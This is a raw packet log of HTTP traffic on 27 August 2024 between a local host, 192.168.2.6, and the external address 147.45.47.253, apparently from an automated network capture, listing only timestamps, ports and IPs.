Aug 27, 2024 20:12:04.798166990 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.798172951 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.798206091 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.798218012 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.798552036 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.798557997 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.798569918 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.798576117 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.798582077 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.798588037 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.798599958 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.798605919 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.798612118 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.798625946 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.798629999 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.798634052 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.798641920 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.798646927 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.798655987 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.798676014 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.798691034 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.799041986 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.799048901 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.799061060 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.799067020 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.799074888 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.799082041 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.799088955 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.799094915 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.799101114 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.799109936 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.799144030 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.799460888 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.799467087 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.799479008 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.799484968 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.799490929 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.799495935 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.799503088 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.799509048 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.799515009 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.799524069 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.799530029 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.799536943 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.799544096 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.799550056 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.799575090 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.799607992 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.799783945 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.799791098 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.799797058 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.799803019 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.799813986 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.799819946 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.799850941 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.799879074 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.799904108 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.799957991 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.800055027 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.800061941 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.800074100 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.800080061 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.800086021 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.800092936 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.800098896 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.800106049 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.800111055 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.800115108 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.800117016 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.800123930 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.800131083 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.800143957 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.800158024 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.800172091 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.800192118 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.800601006 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.800607920 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.800626993 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.800633907 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.800647020 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.800652027 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.800661087 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.800681114 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.800687075 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.800689936 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.800693035 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.800704002 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.800707102 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.800713062 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.800719976 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.800725937 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.800739050 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.800739050 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.800745964 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.800775051 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.800792933 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.800945044 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.800951004 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.800962925 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.801002026 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.801090956 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.801098108 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.801109076 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.801115036 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.801120996 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.801126957 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.801132917 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.801139116 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.801143885 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.801150084 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.801151037 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.801177025 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.801178932 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.801192999 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.801193953 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.801198959 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.801204920 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.801212072 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.801218987 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.801223993 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.801230907 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.801232100 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.801235914 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.801249027 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.801270962 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.801284075 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.801762104 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.801769018 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.801780939 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.801788092 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.801793098 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.801829100 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.801851988 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.889183044 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.889205933 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.889214039 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.889225006 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.889231920 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.889323950 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.889329910 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.889337063 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.889344931 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.889352083 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.889358044 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.889363050 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.889375925 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.889381886 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.889390945 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.889393091 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.889399052 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.889405012 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.889405966 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.889410973 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.889417887 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.889422894 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.889436007 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.889451981 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.889476061 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.889482975 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.889482975 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.889493942 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.889499903 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.889506102 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.889513016 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.889518023 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.889523029 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.889528036 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.889530897 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.889533997 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.889545918 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.889549017 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.889552116 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.889565945 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.889565945 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.889575958 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.889581919 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.889588118 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.889592886 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.889599085 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.889599085 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.889605045 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.889616966 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.889622927 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.889632940 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.889636040 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.889636993 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.889652967 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.889672041 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.889691114 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.889802933 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.889811039 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.889822960 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.889858007 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.890594006 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.890602112 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.890661955 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.890788078 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.890794992 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.890806913 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.890813112 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.890845060 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.890862942 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.890957117 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.890964985 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.890975952 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.891010046 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.891042948 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.891168118 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.891175032 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.891185999 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.891191959 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.891197920 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.891205072 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.891218901 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.891223907 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.891252041 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.891262054 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.891283035 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.891289949 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.891335011 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.891563892 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.891570091 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.891590118 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.891596079 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.891608000 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.891614914 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.891627073 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.891633034 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.891633987 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.891638994 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.891644955 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.891658068 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.891680956 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.891695976 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.891732931 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.891740084 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.891751051 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.891787052 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.891813040 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.891819954 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.891830921 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.891839027 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.891844988 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.891851902 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.891866922 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.891880035 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.891912937 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.892349005 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.892354965 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.892360926 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.892368078 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.892432928 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.892527103 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.892576933 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.892749071 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.892756939 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.892761946 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.892766953 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.892802954 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.892822027 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.892923117 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.892930031 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.892940998 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.892947912 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.892954111 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.892960072 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.892973900 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.892976999 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.892981052 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.892986059 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.893003941 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.893022060 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.893618107 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.893631935 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.893682957 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.893788099 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.893795013 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.893806934 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.893811941 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.893821955 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.893827915 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.893848896 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.893867970 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.974474907 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.974483967 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.974495888 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.974518061 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.974567890 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.974611998 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.974625111 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.974632025 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.974643946 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.974649906 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.974657059 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.974687099 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.974719048 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.974838018 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.974844933 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.974857092 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.974864006 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.974906921 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.974983931 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.974989891 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.975003004 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.975008965 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.975014925 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.975049019 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.975078106 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.975265026 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.975271940 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.975284100 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.975291014 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.975331068 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.975537062 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.975545883 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.975563049 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.975569010 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.975580931 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.975593090 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.975599051 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.975600004 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.975611925 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.975619078 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.975621939 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.975625038 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.975644112 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.975657940 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.975799084 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.975850105 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.975883007 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.975887060 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.975925922 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.976048946 CEST	80	49710	147.45.47.253	192.168.2.6
